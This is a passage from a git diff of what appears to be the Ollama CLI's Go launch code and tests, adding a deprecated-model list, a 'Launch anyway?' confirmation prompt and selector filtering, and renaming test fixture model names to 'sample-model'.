"/api/status": w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, `{"error":"not found"}`) @@ -445,16 +445,16 @@ func TestLaunchCmdYes_AutoConfirmsLaunchPromptPath(t *testing.T) { } cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {}) - cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2", "--yes"}) + cmd.SetArgs([]string{"stubeditor", "--model", "sample-model", "--yes"}) if err := cmd.Execute(); err != nil { t.Fatalf("launch command with --yes failed: %v", err) } - if diff := cmp.Diff([][]string{{"llama3.2"}}, stub.edited); diff != "" { + if diff := cmp.Diff([][]string{{"sample-model"}}, stub.edited); diff != "" { t.Fatalf("editor models mismatch (-want +got):\n%s", diff) } - if stub.ranModel != "llama3.2" { - t.Fatalf("expected launch to run with llama3.2, got %q", stub.ranModel) + if stub.ranModel != "sample-model" { + t.Fatalf("expected launch to run with sample-model, got %q", stub.ranModel) } } @@ -513,7 +513,7 @@ func TestLaunchCmdHeadlessWithoutYes_AllowsConfiguredLaunch(t *testing.T) { srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.URL.Path { case "/api/show": - fmt.Fprint(w, `{"model":"llama3.2"}`) + fmt.Fprint(w, `{"model":"sample-model"}`) case "/api/status": w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, `{"error":"not found"}`) @@ -534,15 +534,15 @@ func TestLaunchCmdHeadlessWithoutYes_AllowsConfiguredLaunch(t *testing.T) { } cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {}) - cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2"}) + cmd.SetArgs([]string{"stubeditor", "--model", "sample-model"}) err := cmd.Execute() if err != nil { t.Fatalf("expected launch command to succeed without --yes when an explicit model is provided, got %v", err) } - if diff := compareStringSlices(stub.edited, [][]string{{"llama3.2"}}); diff != "" { + if diff := compareStringSlices(stub.edited, [][]string{{"sample-model"}}); diff != "" { t.Fatalf("unexpected editor writes (-want +got):\n%s", diff) } - if stub.ranModel != "llama3.2" { + if stub.ranModel != "sample-model" { t.Fatalf("expected launch to run configured model, got %q", stub.ranModel) } } @@ -551,7 +551,7 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T) tmpDir := t.TempDir() setLaunchTestHome(t, tmpDir) - if err := config.SaveIntegration("stubapp", []string{"llama3.2"}); err != nil { + if err := config.SaveIntegration("stubapp", []string{"sample-model"}); err != nil { t.Fatalf("failed to seed saved config: %v", err) } @@ -560,7 +560,7 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T) case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"},{"name":"qwen3:8b"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"},{"name":"qwen3:8b"}]}`) case "/api/show": fmt.Fprint(w, `{"model":"qwen3:8b"}`) default: @@ -589,8 +589,8 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T) t.Fatalf("launch command failed: %v", err) } - if gotCurrent != "llama3.2" { - t.Fatalf("expected selector current model to be saved model llama3.2, got %q", gotCurrent) + if gotCurrent != "sample-model" { + t.Fatalf("expected selector current model to be saved model sample-model, got %q", gotCurrent) } if stub.ranModel != "qwen3:8b" { t.Fatalf("expected launch to run selected model qwen3:8b, got %q", stub.ranModel) @@ -611,14 +611,14 @@ func TestLaunchCmdHeadlessYes_IntegrationRequiresModelEvenWhenSaved(t *testing.T withLauncherHooks(t) withInteractiveSession(t, false) - if err := config.SaveIntegration("stubapp", []string{"llama3.2"}); err != nil { + if err := config.SaveIntegration("stubapp", []string{"sample-model"}); err != nil { t.Fatalf("failed to seed saved config: %v", err) } srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.URL.Path { case "/api/show": - fmt.Fprint(w, `{"model":"llama3.2"}`) + fmt.Fprint(w, `{"model":"sample-model"}`) default: w.WriteHeader(http.StatusNotFound) } diff --git a/cmd/launch/context_length.go b/cmd/launch/context_length.go index fea6f4409..f7ecafd53 100644 --- a/cmd/launch/context_length.go +++ b/cmd/launch/context_length.go @@ -41,9 +41,9 @@ func confirmLocalContextWarning(integration string, current, recommended int) er integration, ) ok, err := ConfirmPromptWithOptions(prompt, ConfirmOptions{ - YesLabel: "Continue", - NoLabel: "Cancel", - DefaultNo: true, + YesLabel: "Continue", + NoLabel: "Cancel", + Default: ConfirmDefaultNo, }) if err != nil { return err diff --git a/cmd/launch/deprecated_models.go b/cmd/launch/deprecated_models.go new file mode 100644 index 000000000..3002ad6c9 --- /dev/null +++ b/cmd/launch/deprecated_models.go @@ -0,0 +1,133 @@ +package launch + +import ( + "fmt" + "strings" + + "github.com/ollama/ollama/internal/modelref" +) + +var deprecatedLaunchModels = map[string]struct{}{ + "codellama": {}, + "qwen2.5": {}, + "qwen2.5-coder": {}, + "llama3": {}, + "llama3.1": {}, + "llama3.2": {}, + "llama3.3": {}, + "mistral": {}, + "starcoder": {}, +} + +var deprecatedLaunchModelTags = map[string]map[string]struct{}{ + "deepseek-r1": { + "": {}, + "latest": {}, + "1.5b": {}, + "7b": {}, + "8b": {}, + "14b": {}, + "32b": {}, + }, +} + +var errDeprecatedLaunchModelDeclined = fmt.Errorf("%w: deprecated launch model declined", ErrCancelled) + +func isDeprecatedLaunchModel(name string) bool { + family, tag := normalizedLaunchModelRef(name) + if _, ok := deprecatedLaunchModels[family]; ok { + return true + } + tags, ok := deprecatedLaunchModelTags[family] + if !ok { + return false + } + _, ok = tags[tag] + return ok +} + +func deprecatedLaunchModelPrompt(name, label, commandName, cloudRec, localRec string) string { + if !isDeprecatedLaunchModel(name) { + return "" + } + if label = strings.TrimSpace(label); label == "" { + label = "ollama launch" + } + + var b strings.Builder + fmt.Fprintf(&b, "%s does not work well with %s. ", name, label) + switch { + case cloudRec != "" && localRec != "": + fmt.Fprintf(&b, "Try an agent-capable model like %s or %s instead", cloudRec, localRec) + case cloudRec != "": + fmt.Fprintf(&b, "Try an agent-capable model like %s instead", cloudRec) + case localRec != "": + fmt.Fprintf(&b, "Try an agent-capable model like %s instead", localRec) + default: + b.WriteString("Try a newer recommended agent-capable model instead") + } + if command := launchReplacementCommand(commandName, firstNonEmpty(cloudRec, localRec)); command != "" { + fmt.Fprintf(&b, ":\n %s", command) + } else { + b.WriteString(".") + } + fmt.Fprintf(&b, "\n\nLaunch with %s anyway?", name) + return b.String() +} + +func launchReplacementCommand(commandName, model string) string { + commandName = strings.TrimSpace(commandName) + model = strings.TrimSpace(model) + if commandName == "" || model == "" { + return "" + } + return fmt.Sprintf("ollama launch %s --model %s", commandName, model) +} + +func firstNonEmpty(values ...string) string { + for _, value := range values { + if value != "" { + return value + } + } + return "" +} + +func normalizedLaunchModelRef(name string) (string, string) { + name = strings.TrimSpace(strings.ToLower(name)) + if name == "" { + return "", "" + } + if base, stripped := modelref.StripCloudSourceTag(name); stripped { + name = base + } + if idx := strings.LastIndex(name, "/"); idx >= 0 { + name = name[idx+1:] + } + tag := "" + if idx := strings.Index(name, ":"); idx >= 0 { + tag = strings.TrimSpace(name[idx+1:]) + name = name[:idx] + } + return strings.TrimSpace(name), tag +} + +func filterDeprecatedLaunchModelItems(items []ModelItem) []ModelItem { + filtered := items[:0] + for _, item := range items { + if !isDeprecatedLaunchModel(item.Name) { + filtered = append(filtered, item) + } + } + return filtered +} + +func filterDeprecatedLaunchModelNames(models []string) []string { + filtered := models[:0] + for _, model := range models { + if !isDeprecatedLaunchModel(model) { + filtered = append(filtered, model) + } + } + return filtered +} diff --git a/cmd/launch/deprecated_models_test.go b/cmd/launch/deprecated_models_test.go new file mode 100644 index 000000000..0c3287076 --- /dev/null +++ b/cmd/launch/deprecated_models_test.go @@ -0,0 +1,68 @@ +package launch + +import ( + "strings" + "testing" +) + +func TestLaunchModelDeprecation(t *testing.T) { + tests := []struct { + name string + deprecated bool + }{ + {name: "qwen2.5", deprecated: true}, + {name: "qwen2.5:14b", deprecated: true}, + {name: "qwen2.5-coder:32b", deprecated: true}, + {name: "library/qwen2.5-coder:7b", deprecated: true}, + {name: "llama3", deprecated: true}, + {name: "llama3.1:8b", deprecated: true}, + {name: "llama3.2:latest", deprecated: true}, + {name: "llama3.3:70b", deprecated: true}, + {name: "llama3.2:cloud", deprecated: true}, + {name: "codellama", deprecated: true}, + {name: "codellama:13b-code", deprecated: true}, + {name: "library/codellama:7b", deprecated: true}, + {name: "starcoder", deprecated: true}, + {name: "starcoder:15b", deprecated: true}, + {name: "mistral", deprecated: true}, + {name: "mistral:7b", deprecated: true}, + {name: "deepseek-r1", deprecated: true}, + {name: "deepseek-r1:latest", deprecated: true}, + {name: "deepseek-r1:1.5b", deprecated: true}, + {name: "deepseek-r1:7b", deprecated: true}, + {name: "deepseek-r1:8b", deprecated: true}, + {name: "deepseek-r1:14b", deprecated: true}, + {name: "deepseek-r1:32b", deprecated: true}, + {name: "deepseek-r1:32b-cloud", deprecated: true}, + {name: "qwen3.5", deprecated: false}, + {name: "qwen3-coder:30b", deprecated: false}, + {name: "gemma4", deprecated: false}, + {name: "my-qwen2.5-coder", deprecated: false}, + {name: "llama3.2-inspired", deprecated: false}, + {name: "codellama-inspired", deprecated: false}, + {name: "starcoder2:15b", deprecated: false}, + {name: "mixtral:8x7b", deprecated: false}, + {name: "deepseek-r1:70b", deprecated: false}, + {name: "deepseek-r1:671b", deprecated: false}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := isDeprecatedLaunchModel(tt.name); got != tt.deprecated { + t.Fatalf("isDeprecatedLaunchModel(%q) = %v, want %v", tt.name, got, tt.deprecated) + } + }) + } +} + +func TestDeprecatedLaunchModelErrorMentionsRecommendedModels(t *testing.T) { + prompt := deprecatedLaunchModelPrompt("qwen2.5-coder:32b", "Codex", "codex", "recommended-cloud:cloud", "recommended-local") + if prompt == "" { + t.Fatal("expected deprecated model prompt") + } + for _, want := range []string{"qwen2.5-coder:32b does not work well with Codex", "recommended-cloud:cloud", "recommended-local", "ollama launch codex --model recommended-cloud:cloud", "Launch with qwen2.5-coder:32b anyway?"} { + if !strings.Contains(prompt, want) { + t.Fatalf("prompt %q does not contain %q", prompt, want) + } + } +} diff --git a/cmd/launch/launch.go b/cmd/launch/launch.go index d6099c3f9..9f5cc17c7 100644 --- a/cmd/launch/launch.go +++ b/cmd/launch/launch.go @@ -707,9 +707,12 @@ func (c *launcherClient) resolveRunModel(ctx context.Context, req RunModelReques } if usable { if err := c.ensureModelsReady(ctx, []string{current}); err != nil { - return "", err + if !errors.Is(err, errDeprecatedLaunchModelDeclined) { + return "", err + } + } else { + return current, nil } - return current, nil } } @@ -726,7 +729,7 @@ func (c *launcherClient) resolveRunModel(ctx context.Context, req RunModelReques } func (c *launcherClient) launchSingleIntegration(ctx context.Context, name string, runner Runner, saved *config.IntegrationConfig, req IntegrationLaunchRequest) error { - target, _, err := c.resolveSingleIntegrationTarget(ctx, runner, primaryModelFromConfig(saved), req) + target, _, err := c.resolveSingleIntegrationTarget(ctx, name, runner, primaryModelFromConfig(saved), req) if err != nil { return err } @@ -748,14 +751,22 @@ func (c *launcherClient) launchEditorIntegration(ctx context.Context, name strin models, needsConfigure := c.resolveEditorLaunchModels(ctx, saved, req) if needsConfigure { - selected, err := c.selectMultiModelsForIntegration(ctx, runner, models) + selected, err := c.selectMultiModelsForIntegration(ctx, name, runner, models) if err != nil { return err } models = selected } else if len(models) > 0 { - if err := c.ensureModelsReady(ctx, models[:1]); err != nil { - return err + if err := c.ensureModelsReadyFor(ctx, models[:1], runner.String(), name); err != nil { + if !errors.Is(err, errDeprecatedLaunchModelDeclined) || req.ModelOverride != "" { + return err + } + selected, err := c.selectMultiModelsForIntegration(ctx, name, runner, models) + if err != nil { + return err + } + models = selected + needsConfigure = true } } @@ -785,7 +796,7 @@ func (c *launcherClient) launchManagedSingleIntegration(ctx context.Context, nam selectionCurrent = primaryModelFromConfig(saved) } - target, needsConfigure, err := c.resolveSingleIntegrationTarget(ctx, runner, selectionCurrent, req) + target, needsConfigure, err := c.resolveSingleIntegrationTarget(ctx, name, runner, selectionCurrent, req) if err != nil { return err } @@ -955,7 +966,7 @@ func (c *launcherClient) managedSingleConfigureModels(ctx context.Context, manag return dedupeModelList(models), nil } -func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, runner Runner, current string, req IntegrationLaunchRequest) (string, bool, error) { +func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, name string, runner Runner, current string, req IntegrationLaunchRequest) (string, bool, error) { target := req.ModelOverride needsConfigure := req.ForceConfigure skipReadiness := false @@ -979,14 +990,22 @@ func (c *launcherClient) resolveSingleIntegrationTarget(ctx context.Context, run } if needsConfigure && req.ModelOverride == "" { - selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, !skipReadiness) + selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, !skipReadiness, runner.String(), name) if err != nil { return "", false, err } target = selected } else if !skipReadiness { - if err := c.ensureModelsReady(ctx, []string{target}); err != nil { - return "", false, err + if err := c.ensureModelsReadyFor(ctx, []string{target}, runner.String(), name); err != nil { + if !errors.Is(err, errDeprecatedLaunchModelDeclined) || req.ModelOverride != "" { + return "", false, err + } + selected, err := c.selectSingleModelWithSelectorReady(ctx, fmt.Sprintf("Select model for %s:", runner), target, DefaultSingleSelector, true, runner.String(), name) + if err != nil { + return "", false, err + } + target = selected + needsConfigure = true } } @@ -1024,7 +1043,7 @@ func managedRequiresInteractiveOnboarding(managed any) bool { } func (c *launcherClient) selectSingleModelWithSelector(ctx context.Context, title, current string, selector SingleSelector) (string, error) { - return c.selectSingleModelWithSelectorReady(ctx, title, current, selector, true) + return c.selectSingleModelWithSelectorReady(ctx, title, current, selector, true, "ollama launch", "") } func (c *launcherClient) latestAccountState() *AccountState { @@ -1034,7 +1053,7 @@ func (c *launcherClient) latestAccountState() *AccountState { return c.accountState } -func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context, title, current string, selector SingleSelector, ensureReady bool) (string, error) { +func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context, title, current string, selector SingleSelector, ensureReady bool, label, commandName string) (string, error) { if selector == nil && DefaultSingleSelectorWithUpdates == nil { return "", fmt.Errorf("no selector configured") } @@ -1059,11 +1078,15 @@ func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context, return "", ErrCancelled } if ensureReady { - if err := c.ensureModelsReady(ctx, []string{selected}); err != nil { + if err := c.ensureModelsReadyFor(ctx, []string{selected}, label, commandName); err != nil { if errors.Is(err, errUpgradeCancelled) { current = selected continue } + if errors.Is(err, errDeprecatedLaunchModelDeclined) { + current = selected + continue + } return "", err } } @@ -1071,7 +1094,7 @@ func (c *launcherClient) selectSingleModelWithSelectorReady(ctx context.Context, } } -func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, runner Runner, preChecked []string) ([]string, error) { +func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, name string, runner Runner, preChecked []string) ([]string, error) { if DefaultMultiSelector == nil && DefaultMultiSelectorWithUpdates == nil { return nil, fmt.Errorf("no selector configured") } @@ -1093,12 +1116,16 @@ func (c *launcherClient) selectMultiModelsForIntegration(ctx context.Context, ru if err != nil { return nil, err } - accepted, skipped, err := c.selectReadyModelsForSave(ctx, selected) + accepted, skipped, err := c.selectReadyModelsForSave(ctx, selected, runner.String(), name) if err != nil { if errors.Is(err, errUpgradeCancelled) { orderedChecked = append([]string(nil), selected...) continue } + if errors.Is(err, errDeprecatedLaunchModelDeclined) { + orderedChecked = append([]string(nil), selected...) + continue + } return nil, err } for _, skip := range skipped { @@ -1137,6 +1164,8 @@ func (c *launcherClient) loadSelectableModels(ctx context.Context, preChecked [] cloudDisabled, _ := cloudStatusDisabled(ctx, c.apiClient) items, orderedChecked, _, _ := buildModelListWithRecommendations(inventory, recommendations, preChecked, current) + items = filterDeprecatedLaunchModelItems(items) + orderedChecked = filterDeprecatedLaunchModelNames(orderedChecked) if cloudDisabled { items = filterCloudItems(items) orderedChecked = c.filterDisabledCloudModels(ctx, orderedChecked) @@ -1213,13 +1242,31 @@ func (c *launcherClient) requestRecommendations(ctx context.Context) ([]ModelIte } func (c *launcherClient) ensureModelsReady(ctx context.Context, models []string) error { + return c.ensureModelsReadyFor(ctx, models, "ollama launch", "") +} + +func (c *launcherClient) ensureModelsReadyFor(ctx context.Context, models []string, label, commandName string) error { models = dedupeModelList(models) if len(models) == 0 { return nil } + cloudRec, localRec := c.agentCapableRecommendations(ctx) cloudModels := make(map[string]bool, len(models)) for _, model := range models { + if prompt := deprecatedLaunchModelPrompt(model, label, commandName, cloudRec, localRec); prompt != "" { + ok, err := ConfirmPromptWithOptions(prompt, ConfirmOptions{ + YesLabel: "Launch anyway", + NoLabel: "Pick another model", + Default: ConfirmDefaultNo, + }) + if err != nil { + return err + } + if !ok { + return errDeprecatedLaunchModelDeclined + } + } isCloudModel := isCloudModelName(model) if isCloudModel { cloudModels[model] = true @@ -1234,6 +1281,27 @@ func (c *launcherClient) ensureModelsReady(ctx context.Context, models []string) return ensureAuth(ctx, c.apiClient, cloudModels, models) } +func (c *launcherClient) agentCapableRecommendations(ctx context.Context) (cloud, local string) { + recs := c.recommendations(ctx) + cloudDisabled, known := cloudStatusDisabled(ctx, c.apiClient) + for _, rec := range recs { + if rec.Name == "" || isDeprecatedLaunchModel(rec.Name) { + continue + } + if isCloudModelName(rec.Name) { + if cloud == "" && !(known && cloudDisabled) { + cloud = rec.Name + } + } else if local == "" { + local = rec.Name + } + if cloud != "" && local != "" { + break + } + } + return cloud, local +} + func dedupeModelList(models []string) []string { deduped := make([]string, 0, len(models)) seen := make(map[string]bool, len(models)) @@ -1252,16 +1320,19 @@ type skippedModel struct { reason string } -func (c *launcherClient) selectReadyModelsForSave(ctx context.Context, selected []string) ([]string, []skippedModel, error) { +func (c *launcherClient) selectReadyModelsForSave(ctx context.Context, selected []string, label, commandName string) ([]string, []skippedModel, error) { selected = dedupeModelList(selected) accepted := make([]string, 0, len(selected)) skipped := make([]skippedModel, 0, len(selected)) for _, model := range selected { - if err := c.ensureModelsReady(ctx, []string{model}); err != nil { + if err := c.ensureModelsReadyFor(ctx, []string{model}, label, commandName); err != nil { if errors.Is(err, errUpgradeCancelled) { return nil, nil, err } + if errors.Is(err, errDeprecatedLaunchModelDeclined) { + return nil, nil, err + } if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) { return nil, nil, err } diff --git a/cmd/launch/launch_test.go b/cmd/launch/launch_test.go index ca1cd5085..a23328a93 100644 --- a/cmd/launch/launch_test.go +++ b/cmd/launch/launch_test.go @@ -3,6 +3,7 @@ package launch import ( "context" "encoding/json" + "errors" "fmt" "net/http" "net/http/httptest" @@ -57,6 +58,14 @@ func (r *launcherSingleRunner) Run(model string, _ []LaunchModel, args []string) func (r *launcherSingleRunner) String() string { return "StubSingle" } +func selectionItemNames(items []SelectionItem) []string { + names := make([]string, 0, len(items)) + for _, item := range items { + names = append(names, item.Name) + } + return names +} + type launcherRestorableRunner struct { launcherSingleRunner restored bool @@ -305,6 +314,104 @@ func TestBuildLauncherState_ManagedSingleIntegrationUsesCurrentModel(t *testing. } } +func TestBuildLauncherState_DeprecatedSavedModelIsUsable(t *testing.T) { + tmpDir := t.TempDir() + setLaunchTestHome(t, tmpDir) + + if err := config.SetLastModel("qwen2.5:14b"); err != nil { + t.Fatalf("failed to seed last model: %v", err) + } + if err := config.SaveIntegration("codex", []string{"llama3.2:latest"}); err != nil { + t.Fatalf("failed to seed codex config: %v", err) + } + + var showCalls atomic.Int32 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/api/tags": + fmt.Fprint(w, `{"models":[{"name":"qwen2.5:14b"},{"name":"llama3.2:latest"}]}`) + case "/api/show": + showCalls.Add(1) + fmt.Fprint(w, `{"model_info":{"general.context_length":131072}}`) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + t.Setenv("OLLAMA_HOST", srv.URL) + + state, err := BuildLauncherState(context.Background()) + if err != nil { + t.Fatalf("BuildLauncherState returned error: %v", err) + } + if !state.RunModelUsable { + t.Fatal("expected deprecated saved run model to stay usable") + } + if state.Integrations["codex"].CurrentModel != "llama3.2:latest" { + t.Fatalf("expected saved integration model to remain visible, got %q", state.Integrations["codex"].CurrentModel) + } + if !state.Integrations["codex"].ModelUsable { + t.Fatal("expected deprecated saved integration model to stay usable") + } + if showCalls.Load() != 0 { + t.Fatalf("saved models present in tags should not require /api/show, got %d calls", showCalls.Load()) + } +} + +func TestLoadSelectableModelsFiltersDeprecatedModels(t *testing.T) { + tmpDir := t.TempDir() + setLaunchTestHome(t, tmpDir) + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/api/experimental/model-recommendations": + fmt.Fprint(w, `{"recommendations":[`+ + `{"model":"qwen2.5-coder:32b","description":"old coding model"},`+ + `{"model":"qwen3.5","description":"new local model"}`+ + `]}`) + case "/api/tags": + fmt.Fprint(w, `{"models":[`+ + `{"name":"qwen2.5:14b"},`+ + `{"name":"llama3.2:latest"},`+ + `{"name":"custom-local:latest"},`+ + `{"name":"qwen3.5"}`+ + `]}`) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + t.Setenv("OLLAMA_HOST", srv.URL) + + client, err := newLauncherClient(defaultLaunchPolicy(true, false)) + if err != nil { + t.Fatalf("newLauncherClient returned error: %v", err) + } + items, orderedChecked, err := client.loadSelectableModels(context.Background(), []string{"qwen2.5:14b", "custom-local"}, "qwen2.5:14b", "no models available") + if err != nil { + t.Fatalf("loadSelectableModels returned error: %v", err) + } + + got := names(items) + for _, deprecated := range []string{"qwen2.5:14b", "llama3.2", "qwen2.5-coder:32b"} { + if slices.Contains(got, deprecated) { + t.Fatalf("deprecated model %q should be filtered from selectable models: %v", deprecated, got) + } + } + if !slices.Contains(got, "qwen3.5") { + t.Fatalf("expected newer recommendation to remain selectable, got %v", got) + } + if !slices.Contains(got, "custom-local") { + t.Fatalf("expected custom local model to remain selectable, got %v", got) + } + if slices.Contains(orderedChecked, "qwen2.5:14b") { + t.Fatalf("deprecated prechecked model should be filtered, got %v", orderedChecked) + } + if !slices.Contains(orderedChecked, "custom-local") { + t.Fatalf("non-deprecated prechecked model should remain, got %v", orderedChecked) + } +} + func TestBuildLauncherState_ManagedSingleIntegrationShowsSavedModelWhenLiveConfigMissing(t *testing.T) { tmpDir := t.TempDir() setLaunchTestHome(t, tmpDir) @@ -1405,7 +1512,7 @@ func TestBuildLauncherState_InstalledAndCloudDisabled(t *testing.T) { if err := config.SaveIntegration("claude", []string{"glm-5:cloud"}); err != nil { t.Fatalf("failed to save claude config: %v", err) } - if err := config.SaveIntegration("opencode", []string{"glm-5:cloud", "llama3.2"}); err != nil { + if err := config.SaveIntegration("opencode", []string{"glm-5:cloud", "sample-model"}); err != nil { t.Fatalf("failed to save opencode config: %v", err) } @@ -1414,7 +1521,7 @@ func TestBuildLauncherState_InstalledAndCloudDisabled(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/status": fmt.Fprint(w, `{"cloud":{"disabled":true,"source":"config"}}`) default: @@ -1444,7 +1551,7 @@ func TestBuildLauncherState_InstalledAndCloudDisabled(t *testing.T) { if !state.Integrations["opencode"].ModelUsable { t.Fatal("expected editor config with a remaining local model to stay usable") } - if state.Integrations["opencode"].CurrentModel != "llama3.2" { + if state.Integrations["opencode"].CurrentModel != "sample-model" { t.Fatalf("expected editor current model to fall back to remaining local model, got %q", state.Integrations["opencode"].CurrentModel) } } @@ -1453,10 +1560,10 @@ func TestBuildLauncherState_MigratesLegacyOpenclawAliasConfig(t *testing.T) { tmpDir := t.TempDir() setLaunchTestHome(t, tmpDir) - if err := config.SaveIntegration("clawdbot", []string{"llama3.2"}); err != nil { + if err := config.SaveIntegration("clawdbot", []string{"sample-model"}); err != nil { t.Fatalf("failed to seed legacy alias config: %v", err) } - if err := config.SaveAliases("clawdbot", map[string]string{"primary": "llama3.2"}); err != nil { + if err := config.SaveAliases("clawdbot", map[string]string{"primary": "sample-model"}); err != nil { t.Fatalf("failed to seed legacy alias map: %v", err) } if err := config.MarkIntegrationOnboarded("clawdbot"); err != nil { @@ -1468,7 +1575,7 @@ func TestBuildLauncherState_MigratesLegacyOpenclawAliasConfig(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) default: http.NotFound(w, r) } @@ -1480,7 +1587,7 @@ func TestBuildLauncherState_MigratesLegacyOpenclawAliasConfig(t *testing.T) { if err != nil { t.Fatalf("BuildLauncherState returned error: %v", err) } - if state.Integrations["openclaw"].CurrentModel != "llama3.2" { + if state.Integrations["openclaw"].CurrentModel != "sample-model" { t.Fatalf("expected openclaw state to reuse legacy alias config, got %q", state.Integrations["openclaw"].CurrentModel) } @@ -1488,10 +1595,10 @@ func TestBuildLauncherState_MigratesLegacyOpenclawAliasConfig(t *testing.T) { if err != nil { t.Fatalf("expected canonical config to be migrated, got %v", err) } - if !slices.Equal(migrated.Models, []string{"llama3.2"}) { + if !slices.Equal(migrated.Models, []string{"sample-model"}) { t.Fatalf("unexpected migrated models: %v", migrated.Models) } - if migrated.Aliases["primary"] != "llama3.2" { + if migrated.Aliases["primary"] != "sample-model" { t.Fatalf("expected aliases to migrate, got %v", migrated.Aliases) } if !migrated.Onboarded { @@ -1503,7 +1610,7 @@ func TestBuildLauncherState_ToleratesInventoryFailure(t *testing.T) { tmpDir := t.TempDir() setLaunchTestHome(t, tmpDir) - if err := config.SetLastModel("llama3.2"); err != nil { + if err := config.SetLastModel("sample-model"); err != nil { t.Fatalf("failed to seed last model: %v", err) } if err := config.SaveIntegration("claude", []string{"qwen3:8b"}); err != nil { @@ -1547,7 +1654,7 @@ func TestBuildLauncherState_UsesTagsInventoryWithoutShow(t *testing.T) { tmpDir := t.TempDir() setLaunchTestHome(t, tmpDir) - if err := config.SetLastModel("llama3.2"); err != nil { + if err := config.SetLastModel("sample-model"); err != nil { t.Fatalf("failed to seed last model: %v", err) } if err := config.SaveIntegration("codex", []string{"qwen3:8b"}); err != nil { @@ -1559,7 +1666,7 @@ func TestBuildLauncherState_UsesTagsInventoryWithoutShow(t *testing.T) { switch r.URL.Path { case "/api/tags": fmt.Fprint(w, `{"models":[`+ - `{"name":"llama3.2","capabilities":["completion","tools"],"context_length":131072,"size":3200000000},`+ + `{"name":"sample-model","capabilities":["completion","tools"],"context_length":131072,"size":3200000000},`+ `{"name":"qwen3:8b","capabilities":["completion","tools"],"context_length":65536,"size":4500000000}`+ `]}`) case "/api/show": @@ -1595,7 +1702,7 @@ func TestResolveRunModel_UsesSavedModelWithoutSelector(t *testing.T) { setLaunchTestHome(t, tmpDir) withLauncherHooks(t) - if err := config.SetLastModel("llama3.2"); err != nil { + if err := config.SetLastModel("sample-model"); err != nil { t.Fatalf("failed to save last model: %v", err) } @@ -1610,9 +1717,9 @@ func TestResolveRunModel_UsesSavedModelWithoutSelector(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": - fmt.Fprint(w, `{"model":"llama3.2"}`) + fmt.Fprint(w, `{"model":"sample-model"}`) default: http.NotFound(w, r) } @@ -1624,7 +1731,7 @@ func TestResolveRunModel_UsesSavedModelWithoutSelector(t *testing.T) { if err != nil { t.Fatalf("ResolveRunModel returned error: %v", err) } - if model != "llama3.2" { + if model != "sample-model" { t.Fatalf("expected saved model, got %q", model) } if selectorCalled { @@ -1657,7 +1764,7 @@ func TestResolveRunModel_HeadlessYesAutoPicksLastModel(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": var req apiShowRequest _ = json.NewDecoder(r.Body).Decode(&req) @@ -1721,7 +1828,7 @@ func TestResolveRunModel_UsesRequestPolicy(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": var req apiShowRequest _ = json.NewDecoder(r.Body).Decode(&req) @@ -1764,14 +1871,14 @@ func TestResolveRunModel_ForcePickerAlwaysUsesSelector(t *testing.T) { setLaunchTestHome(t, tmpDir) withLauncherHooks(t) - if err := config.SetLastModel("llama3.2"); err != nil { + if err := config.SetLastModel("sample-model"); err != nil { t.Fatalf("failed to save last model: %v", err) } var selectorCalls int DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) { selectorCalls++ - if current != "llama3.2" { + if current != "sample-model" { t.Fatalf("expected current selection to be last model, got %q", current) } return 